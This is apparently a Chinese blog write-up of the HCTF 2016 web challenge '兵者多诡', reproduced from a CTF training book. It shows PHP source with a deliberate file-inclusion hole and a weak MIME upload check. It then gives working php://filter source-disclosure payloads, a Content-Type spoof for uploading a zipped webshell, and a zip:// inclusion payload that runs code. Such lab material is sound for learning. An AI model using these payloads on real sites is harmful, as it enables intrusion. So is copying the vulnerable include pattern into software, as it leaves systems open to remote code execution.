兵者多诡(HCTF 2016)

由于本题是在《从0到1CTFer成长之路》一书接触到的。所以算是一种复现吧。

题目的css源码,被我从以下源码中剔除。我们直接看PHP源码即可。

有四个文件:home.phpupload.php 以及 show.phpfunction.php

题目源码如下:

// home.php
<?php  
error_reporting(0);

@session_start();
posix_setuid(1000);

$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp))
{
    die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
    die();
}
?>
<!DOCTYPE html>
<html>
    <head>
        <title></title>
        <meta charset="utf-8">
    </head>
    <body>
        <div class="container">
            <div class="header clearfix">
                <nav>
                    <ul class="nav nav-pills pull-right">
                        <li role="presentation" class="active"><a href="home.php?key=hduisa123">Home</a></li>
                    </ul>
                </nav>
                <h3 class="text-muted">pictures</h3>
            </div>

            <div class="jumbotron">
                <h1>Pictures Storage</h1>
                <p class="lead">在这里上传您的图片,我们将为您保存</p>
                <form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
                    <input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
                    <br>
                    <input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
                </form>
            </div>
           </div> 
    </body>
</html>
<?php  
if($fp !== 'fail'){
    if(!(include($fp.'.php'))){
?>
    <div class="alert alert-danger" role="alert">没有此页面</div>
<?php
    exit;
}
    }
?>


// upload.php
<?php
include 'function.php';
 
if(isset($_POST['submit']) &&!empty($_FILES['image']['tmp_name'])){  
     $name =$_FILES['image']['tmp_name'];
     $type =$_FILES['image']['type'];
     $size =$_FILES['image']['size'];
     if(!is_uploaded_file($name)){
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
     exit;
}       
if($type !== 'image/png'){ 
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
     exit;
 }      
 if($size > 10240){
 ?>

<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
     exit;
}
     $imagekey =create_imagekey();
     move_uploaded_file($name,"uploads/$imagekey.png");
     echo"<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>


// show.php

<?php
$imagekey = $_GET['imagekey'];
if(empty($imagekey)){
     echo"<script>location.href='home.php'</script>";
     exit;
}
?>

// function.php
<?php
     function create_imagekey()
         {
 
         return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());
 
        }
?>

搭建环境之后,进入到home.php页面之后,大概是下面这样的(由于没有css样式所以跟比赛时的UI不太一样,但是解题都是一样的)

兵者多诡(HCTF  2016)插图

发现了上传文件界面。随便上传一张图片,之后注意url栏中的变化。

页面提示了图片大小超过10KB,且url栏发生变化。

http://localhost/HCTF/2016/home.php?fp=upload

根据url传入的值和参数名,可以得知,fp很有可能是file pointer,而我们的upload这可能是一个php页面。

兵者多诡(HCTF  2016)插图1

尝试将upload修改为home,也就是当前页面。观察页面的变化。

可以发现,当前页面包含了当前页面。在PHP中自身页面包含自身,会造成死循环。页面会一致转圈。我们不用管它。

兵者多诡(HCTF  2016)插图2

由此,可以得出,这道题是一个道关于文件包含+文件上传的题目。

而这个文件包含的路径参数前半部分可控,后半部分不可控。即.php不可控。

我们直接访问upload.php,没有报404错误,只是页面是空白的。那么可以证明,该文件是存在的。

兵者多诡(HCTF  2016)插图3

尝试使用php的伪协议,filter协议获取home.php文件源码和upload.php文件源码。

由于后半部分我们不可控制,我们直接输入home,经过与后半部分的拼接,就成了home.php

构造payload:

home.php?fp=php://filter/read=convert.base64-encode/resource=home
兵者多诡(HCTF  2016)插图4

可以发现,页面返回了,home.php文件地代码。只不过经过我们的base64编码。所以我们只需要进行base64解码即可。

经过解码之后,得到如下源码:

<?php  
error_reporting(0);   // 关闭报错回显

@session_start();   // 启动新会话
posix_setuid(1000);  // 设置进程的uid

// 判断fp参数为空,为空则将字符串'fail'赋值给$fp,不为空则将传入的值赋值给$fp变量。
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];  

// 执行正则表达式匹配
if(preg_match('/\.\./',$fp))  // 匹配传入的值是否有\.\.
{
    die('No No No!');  // 如果传入的参数存在\.\. 则退出代码的执行,并在页面输出No No No!
}

// $_SERVER["QUERY_STRING"] 该全局变量主要获取url中?后面的所有字符串。
/*
比如url是:http://localhost/HCTF/2016/home.php?fp=helloworld
则 $_SERVER["QUERY_STRING"]获取的就是: fp=helloworld
/*

// 从用户传入的值中执行正则表达式匹配。
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
    die();  // 如果传入的值包含rm(i表示不区分大小写) 则退出程序的执行。
}
?>

<!-- 以下为HTML源码。没什么好说的,就是给了我们一个文件上传的框和上传图片的提交按钮。不再解析。  -->
<!DOCTYPE html>
<html>
    <head>
        <title></title>
        <meta charset="utf-8">
    </head>
    <body>
        <div class="container">
            <div class="header clearfix">
                <nav>
                    <ul class="nav nav-pills pull-right">
                        <li role="presentation" class="active"><a href="home.php?key=hduisa123">Home</a></li>
                    </ul>
                </nav>
                <h3 class="text-muted">pictures</h3>
            </div>

            <div class="jumbotron">
                <h1>Pictures Storage</h1>
                <p class="lead">在这里上传您的图片,我们将为您保存</p>
                <form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
                    <input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
                    <br>
                    <input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
                </form>
            </div>
           </div> 
    </body>
</html>

<?php  

// 如果$fp变量的值不全等于fail。那么执行if语句内的if判断。
if($fp !== 'fail'){
    // 文件包含$fp的值,比如$fp的值为home。那么经过拼接只会就为home.php 
    if(!(include($fp.'.php'))){
?>
    <div class="alert alert-danger" role="alert">没有此页面</div>
<?php
    exit;    // 如果要包含的文件不存在则直接退出程序执行。
}
    }
?>

我们还得知,该题中,存在upload.php,尝试使用php的filter协议获取该文件地源码。

?fp=php://filter/read=convert.base64-encode/resource=upload
兵者多诡(HCTF  2016)插图5

经过base64解码之后,得到如下源码:

<?php
include 'function.php';   // 包含了function.php文件。

// 判断待上传的文件是否提交。 
if(isset($_POST['submit']) &&!empty($_FILES['image']['tmp_name'])){  
     $name =$_FILES['image']['tmp_name'];  // 获取文件上传到服务器临时存储的文件名
     $type =$_FILES['image']['type'];   //  获取文件的MIME类型
     $size =$_FILES['image']['size'];   // 获取文件的大小 单位字节。
     if(!is_uploaded_file($name)){
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
     exit;
}      

// 判断文件的MIME类型是否为png  (可绕过)
if($type !== 'image/png'){ 
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
     exit;
 }      

// 判断文件的大小是否小于 大于10240字节
 if($size > 10240){
 ?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
     exit;
}    // 创建文件的key 该函数应该在function.php文件中定义。
     $imagekey =create_imagekey();   // 将create_imagekey()加密的值返回给$imagekey变量

     // 将文件移动到uploads目录下,并以$imagekey的值加上后缀.png命名。
     // 注意在PHP中,被""包裹的变量可以正常解析。与普通变量一致。
     move_uploaded_file($name,"uploads/$imagekey.png");
     // 执行301跳转。
     echo"<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>

通过审计代码发现,文件包含了function.php文件。并且对我们上传的文件进行了MIME的检查(只能上传MIME为image/png的文件)和对文件大小不能超过10kb的限制。最后将我们上传的文件进行重命名,将其移动到uploads目录。以$imagekey的值命名,并在其添加后缀.png

可以发现,我们上传的文件存在了uploads文件夹下,并且以$imagekey的值命名。而上传成功的时候,会对我们进行跳转,而这个imagekey加上.png对应的值就为我们上传成功之后,保存的文件名。

再次使用php的filter协议,获取function.php文件的内容。

?fp=php://filter/read=convert.base64-encode/resource=function
兵者多诡(HCTF  2016)插图6

经过base64解码,之后得到如下源码:

<?php
     function create_imagekey()   // 创建create_imagekey()函数。
         {
        // sha1() 用于计算一个字符串的SHA-1 散列
        // $_SERVER['REMOTE_ADDR'] 获取客户端的IP地址
        // $_SERVER['HTTP_USER_AGENT'] 获取客户端的User-agent 
        // time() php 内置函数可以获取当前时间的时间戳
        // mt_rand() 生成随机数。 例如504817655
        // 下面代码就是使用sha1()函数将下面几个超全局变量和函数的结果,作为要加密的值进行加密。并将结果返回给create_imagekey()函数本身。
         return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());
        }
?>

对题目的主要源码进行分析后,发现我们是不能将php文件直接上传,就算上传成功后,会对我们的文件进行重命名,并添加后缀为.png,这样的话我们的PHP文件就无法被成功执行。

因此。我们可以使用zip://或者phar://伪协议。上传一个压缩包。压缩包的内容,则为我们的webshell文件。即shell.php

上传一个shell.zip文件,通过burpsuite进行抓包,将Content-Type修改为image/png。之后发送即可。

兵者多诡(HCTF  2016)插图7

之后我们发现了imagekey对应的值。即78e64c6c87eb3b3b6c413e5a7b0bdad5f241fcd7

78e64c6c87eb3b3b6c413e5a7b0bdad5f241fcd7.png则是我们上传的文件名

使用zip://协议进行利用。

在使用zip://协议之前。需要在php.ini中将如下配置修改为On,重启php后生效。(自行搭建环境的时候需要)

allow_url_fopen = On
allow_url_inclue = On

构造payload:

home.php?shell=phpinfo();&fp=zip://uploads/78e64c6c87eb3b3b6c413e5a7b0bdad5f241fcd7.png%23shell
兵者多诡(HCTF  2016)插图8

利用成功,传到include函数中,大概是下面这样的。

兵者多诡(HCTF  2016)插图9

关于更多文件包含和伪协议的知识请参见:https://www.x1ong.fun/target/988.html

本文作者: x1ong
免责声明:本博客所有文章仅用于学习交流
转载声明:文章为作者原创文章 转载请注明来源
本文链接: https://www.giaoblog.com/n1book/16116.html
上一篇
下一篇